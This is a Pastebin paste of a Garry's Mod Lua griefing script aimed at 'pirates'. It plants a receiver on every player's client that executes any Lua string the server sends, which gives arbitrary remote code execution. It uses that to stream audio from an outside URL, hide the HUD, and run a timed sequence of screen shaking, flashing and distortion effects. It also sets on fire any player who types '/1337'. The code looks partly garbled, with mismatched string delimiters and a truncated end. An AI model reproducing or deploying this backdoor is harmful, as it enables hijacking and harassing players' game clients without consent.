API tools faq
paste
Advertisement
Guest User

idk

a guest
Jul 10th, 2019
170
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Game Maker 7.29 KB | None | 0 0
raw download clone embed print report
  1. https://httpsinfamousvoice1com.000webhostapp.com/LoveMe.mp3
  2. --[[
  3.     File: ?.lua
  4.     For: Annoying pirates to death, then annoying them some more until they die a second time
  5.     By: Ultra
  6. ]]--
  7.  
  8. util.AddNetworkString "slua"
  9.  
  10. local lol = {}
  11. function lol:RandomString( intMin, intMax )
  12.     local ret = ""
  13.     for _ = 1, math.random( intMin, intMax ) do
  14.         ret = ret.. string.char( math.random(65, 90) )
  15.     end
  16.  
  17.     return ret
  18. end
  19.  
  20. lol.m_tblActions = {}
  21. lol.m_strImageGlobalVar = lol:RandomString( 6, 12 )
  22. lol.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
  23.  
  24. function lol:PushAction( intChainDelay, func )
  25.     self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
  26. end
  27.  
  28. function lol:NextAction( pPlayer )
  29.     pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
  30.     if not self.m_tblActions[pPlayer.m_intCurAction] then return end
  31.  
  32.     timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
  33.         if not IsValid( pPlayer ) then return end
  34.         self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
  35.         self:NextAction( pPlayer )
  36.     end )
  37. end
  38.  
  39. function lol:Start( pPlayer )
  40.     pPlayer.m_intCurAction = 0
  41.     self:NextAction( pPlayer )
  42. end
  43.  
  44. function lol:SendLua( pPlayer, strLua )
  45.     net.Start( "slua" )
  46.         net.WriteString( strLua )
  47.     net.Send( pPlayer )
  48. end
  49.  
  50. function lol:SetupPlayer( pPlayer )
  51.     pPlayer:SendLua( "net.Receive(\"slua\", function() RunString(net.ReadString()) end)" )
  52. end
  53.  
  54. for k, v in pairs( player.GetAll() ) do
  55.     lol:SetupPlayer( v )
  56.     timer.Simple( 2, function() lol:Start( v ) end )
  57. end
  58.  
  59. hook.Add( "PlayerAuthed", "wat", function( pPlayer )
  60.     lol:SetupPlayer( pPlayer )
  61.     timer.Simple( 10, function() lol:Start( pPlayer ) end )
  62. end )
  63.  
  64. hook.Add( "PlayerSay", "1337command", function( pSender, strText, bTeamChat )
  65.     if strText:sub( 1, 5 ) == "/1337" then
  66.         pSender:Ignite( 1e9 )
  67.         pSender:ChatPrint( "lol jk" )
  68.         pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
  69.         return false
  70.     end
  71. end )
  72.  
  73.  
  74.  
  75. --Sequence stack
  76. --Start some tunes and steam in our assets
  77. lol:PushAction( 0, function( pPlayer )
  78.     lol:SendLua( pPlayer, ([=[
  79.         sound.PlayURL( "https://httpsinfamousvoice1com.000webhostapp.com/LoveMe.mp3", "", function()end )
  80.        
  81.         g_]=].. lol.m_strImageGlobalVar.. [=[ = {}
  82.         local html = [[%s]]
  83.         local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
  84.             local pnl = vgui.Create( "HTML" )
  85.             pnl:SetPos( ScrW() -1, ScrH() -1 )
  86.             pnl:SetVisible( true )
  87.             pnl:SetMouseInputEnabled( false )
  88.             pnl:SetKeyBoardInputEnabled( false )
  89.             pnl:SetSize( intSizeX, intSizeY )
  90.             pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
  91.            
  92.             local PageLoaded
  93.             PageLoaded = function()
  94.                 local mat = pnl:GetHTMLMaterial()
  95.                 if mat then
  96.                     g_]=].. lol.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
  97.                     return
  98.                 end
  99.                
  100.                 timer.Simple( 0.5, PageLoaded )
  101.             end
  102.  
  103.             PageLoaded()
  104.         end
  105.  
  106.  
  107.  
  108.             draw.SimpleTextOutlined(
  109.                 "Party Time By UG | M A S T E R",
  110.                 "DermaSmall",
  111.                 ScrW() /2 +math.random( -8, 8 ),
  112.                 ScrH() /2 +math.random( -8, 8 ) +64,
  113.                 Color( 255, 0, 0, 255 ),
  114.                 TEXT_ALIGN_CENTER,
  115.                 TEXT_ALIGN_CENTER,
  116.                 1,
  117.                 Color( 0, 0, 255, 255 )
  118.             )
  119.         end )
  120.  
  121.         local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
  122.         hook.Add( "HUDShouldDraw", "newhud", function( str ) if not allowed[str] then return false end end )
  123.  
  124.         surface.PlaySound( "garrysmod/save_load4.wav" )
  125.         surface.PlaySound( "vo/npc/male01/excuseme02.wav" )
  126.     ]] )
  127. end )
  128.  
  129. --Disco time
  130. lol:PushAction( 10, function( pPlayer )
  131.     local idx = pPlayer:EntIndex()
  132.     timer.Create( "beat".. idx, 0.42, 0, function()
  133.         if not IsValid( pPlayer ) then timer.Destroy( "beat".. idx ) return end
  134.         pPlayer:ViewPunch( Angle(math.Rand(-15, -10), math.Rand(-10, 10), 0) )
  135.     end )
  136.  
  137.  
  138.     lol:SendLua( pPlayer, [[
  139.         local emitter = ParticleEmitter( LocalPlayer():GetPos() )
  140.         local time = 0
  141.  
  142.         hook.Add( "Think", "wat", function()
  143.             if CurTime() < time then
  144.                 return
  145.             end
  146.  
  147.             time = CurTime() +0.05
  148.             for i = 1, 16 do
  149.                 local part = emitter:Add(
  150.                     "particles/balloon_bit",
  151.                     LocalPlayer():GetPos() +Vector(
  152.                         math.random( -256, 256 ),
  153.                         math.random( -256, 256 ),
  154.                         256
  155.                     )
  156.                 )
  157.                
  158.                 if part then
  159.                     local Size = math.random( 4, 7 )
  160.                    
  161.                     part:SetColor( math.random(0, 255), math.random(0, 255), math.random(0, 255), 255 )
  162.                     part:SetVelocity( Vector( 40, 25, -math.random(300, 400) ) )
  163.                     part:SetDieTime( 4.5 )
  164.                     part:SetGravity( Vector(40, 0, -250) )
  165.                     part:SetLifeTime( 0 )
  166.                     part:SetStartSize( Size /2 )
  167.                     part:SetEndSize( Size )
  168.                     part:SetCollide( true )
  169.                 end
  170.             end
  171.         end )
  172.     ]] )
  173.  
  174.     lol:SendLua( pPlayer, [[
  175.         hook.Add( "RenderScreenspaceEffects", "wat", function()
  176.             local sinScaler = math.sin( CurTime() )
  177.             DrawBloom(
  178.                 0,
  179.                 3,
  180.                 sinScaler *math.Rand(1, 8),
  181.                 sinScaler *math.Rand(1, 8),
  182.                 6,
  183.                 math.Rand(0.5, 2),
  184.                 math.Rand(0, 0.3),
  185.                 math.Rand(0, 0.3),
  186.                 math.Rand(0.5, 1)
  187.             )
  188.  
  189.             DrawColorModify{
  190.                 ["$pp_colour_addr"] = 0,
  191.                 ["$pp_colour_addg"] = 0,
  192.                 ["$pp_colour_addb"] = 00,
  193.                 ["$pp_colour_brightness" ] = 0,
  194.                 ["$pp_colour_contrast" ] = 1,
  195.                 ["$pp_colour_colour" ] = 1,
  196.                 ["$pp_colour_mulr" ] = 0,
  197.                 ["$pp_colour_mulg" ] = 0,
  198.                 ["$pp_colour_mulb" ] = 1
  199.             }
  200.         end )
  201.  
  202.         local mdl = ClientsideModel( "models/player/skeleton.mdl", RENDERGROUP_BOTH )
  203.         mdl:SetNoDraw( true )
  204.         local posCache, time = {}, 0
  205.  
  206.         hook.Add( "HUDPaint", "dance", function()
  207.             if not mdl.SeqStart or CurTime() > (mdl.SeqStart +mdl.SeqDuration) then
  208.                 local idx = mdl:LookupSequence("taunt_dance")
  209.                 mdl.SeqDuration = mdl:SequenceDuration( idx )
  210.                 mdl.SeqStart = CurTime()
  211.                 mdl:ResetSequence( idx )
  212.             end
  213.  
  214.             mdl:SetCycle( (CurTime() -mdl.SeqStart) /mdl.SeqDuration )
  215.  
  216.            
  217.             local w, h = 300, 300
  218.             local ang = Angle( 0, 0, 0 )
  219.  
  220.             for i = 1, 32 do
  221.                 if CurTime() > time then
  222.                     posCache[i] = { math.random( 0, ScrW() -w ), math.random( 0, ScrH() -h ) }
  223.                 end
  224.                 local x, y = posCache[i][1], posCache[i][2]
  225.  
  226.                 cam.Start3D( (ang:Forward() *64) +(ang:Up() *32), (ang:Forward()*-1):Angle(), 90, x, y, w, h )
  227.                     cam.IgnoreZ( true )
  228.                     render.SuppressEngineLighting( true )
  229.                    
  230.                     render.SetLightingOrigin( mdl:GetPos() )
  231.                     render.ResetModelLighting( 1, 1, 1 )
  232.                     render.SetColorModulation( 0, 0, 1 )
  233.  
  234.                     mdl:DrawModel()
  235.                    
  236.                     render.SuppressEngineLighting( false )
  237.                     cam.IgnoreZ( false )
  238.                 cam.End3D()
  239.             end
  240.  
  241.             if CurTime() > time then
  242.                 time = CurTime() +0.15
  243.             end
  244.         end )
  245.  
  246.         surface.PlaySound( "vo/npc/male01/ohno.wav" )
  247.     ]] )
  248. end )
  249.  
  250. --Let the beat drop
  251. lol:PushAction( 54, function( pPlayer )
  252.     lol:SendLua( pPlayer, [[
  253.         hook.Add( "GetMotionBlurValues", "wat", function()
  254.             return 0, 0, 1, math.sin(CurTime() *13)
  255.         end )
  256.  
  257.         hook.Add( "RenderScreenspaceEffects", "ohgod", function()
  258.             local sinScaler = math.sin( CurTime() *(RealFrameTime() *1024) )
  259.             DrawSharpen( 1 +(sinScaler *10), 0.5 +(sinScaler *2) )
  260.             DrawMaterialOverlay( "effects/tp_eyefx/tpeye", 1 )
  261.         end )
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!